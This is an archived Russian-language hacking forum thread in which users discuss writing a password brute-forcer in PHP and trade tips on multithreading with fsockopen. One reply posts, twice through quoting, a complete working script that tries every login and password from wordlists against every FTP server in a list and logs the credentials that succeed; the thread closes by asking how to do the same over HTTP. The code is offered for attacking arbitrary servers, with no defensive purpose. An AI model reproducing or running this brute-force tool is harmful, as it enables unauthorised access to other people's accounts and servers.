Просмотр полной версии : Брут на php
Вот решил написать его на php
Сразу возник вопрос : Как средствами php узнать адрес по которому находится страница из ифрейма ?
ну или cookie от туда ........
http://forum.dklab.ru/php/heap
Может ктонибудь подскажет готовый принцип ...
Мож как нибудь с заголовкам зделать...
???
А какие проблемы? iframe лишь ссылается на страницу. fsockopen() и будет тебе счастье =)
А какие проблемы? iframe лишь ссылается на страницу. fsockopen() и будет тебе счастье =)
А будет эфективней если я буду работать в fsockopen() в несколько потоков ?
будет
(писал такой сабж на перле)
будет
(писал такой сабж на перле)
ну тоды скажи оптимальное количество потоков
Я писал без потоков(влом :) было)
в один поток одна попытка занимала около секунды, трафик - полторы кб(страничка с редиректом)
сначала напиши, потом цифру изменишь =) в настройки вынеси ее =)
я через заголвки пробую, так что всю страничку читать он у меня не будет...., токо первую строчку из потока
rsha1988
25.04.2005, 18:00
http://www.xakepy.ru/showthread.php?t=6602&page=2&pp=15 -
------------------------------------------------------------------------------------
ftp_bruter на php
Брутер для протокола FTP на PHP. Брутит через словарь (логин:пасс) и без него.
http://download.famatech.com/download/files/radmin22.zip
http://www.xakepy.ru/showthread.php?t=6602&page=2&pp=15 -
------------------------------------------------------------------------------------
ftp_bruter на php
Брутер для протокола FTP на PHP. Брутит через словарь (логин:пасс) и без него.
http://download.famatech.com/download/files/radmin22.zip
Пинцет, ну четакого сложного то тут?
<?
set_time_limit(0);
$data['login']=file("login.txt");
$data['passwd']=file("passwd.txt");
$data['servers']=file("server.txt");
foreach($data['servers'] AS $server){
foreach($data['login'] AS $login){
foreach($data['passwd'] AS $passwd){
if($connect=@ftp_connect($server)){
if (@ftp_login($connect, $login, $passwd)) {
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') >> Логин и пароль подошли.\n');
fclose($f);
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Логин и пароль не подошли.\n');
fclose($f);
}
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Сервер не доступен.\n');
fclose($f);
};
}
}
}
?>
Скрипт берет инфу из файлов server.txt, login.txt и passwd.txt. Ко всем IP адресам, имеющимся в server.txt поочереди подбираются все логины из login.txt, в свое время ко всем логинам подбираются все пароли с passwd.txt. Все пишется в лог. Вроде так...
Пинцет, ну четакого сложного то тут?
<?
set_time_limit(0);
$data['login']=file("login.txt");
$data['passwd']=file("passwd.txt");
$data['servers']=file("server.txt");
foreach($data['servers'] AS $server){
foreach($data['login'] AS $login){
foreach($data['passwd'] AS $passwd){
if($connect=@ftp_connect($server)){
if (@ftp_login($connect, $login, $passwd)) {
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') >> Логин и пароль подошли.\n');
fclose($f);
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Логин и пароль не подошли.\n');
fclose($f);
}
}else{
$f=fopen('log.txt', 'a');
fwrite($f, '['.date('d.m.Y H:i:s).'] ('.$server.' '.$login.':'.$passwd.') коннект не удался. Сервер не доступен.\n');
fclose($f);
};
}
}
}
?>
Скрипт берет инфу из файлов server.txt, login.txt и passwd.txt. Ко всем IP адресам, имеющимся в server.txt поочереди подбираются все логины из login.txt, в свое время ко всем логинам подбираются все пароли с passwd.txt. Все пишется в лог. Вроде так...
А как замутить подобное по http?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot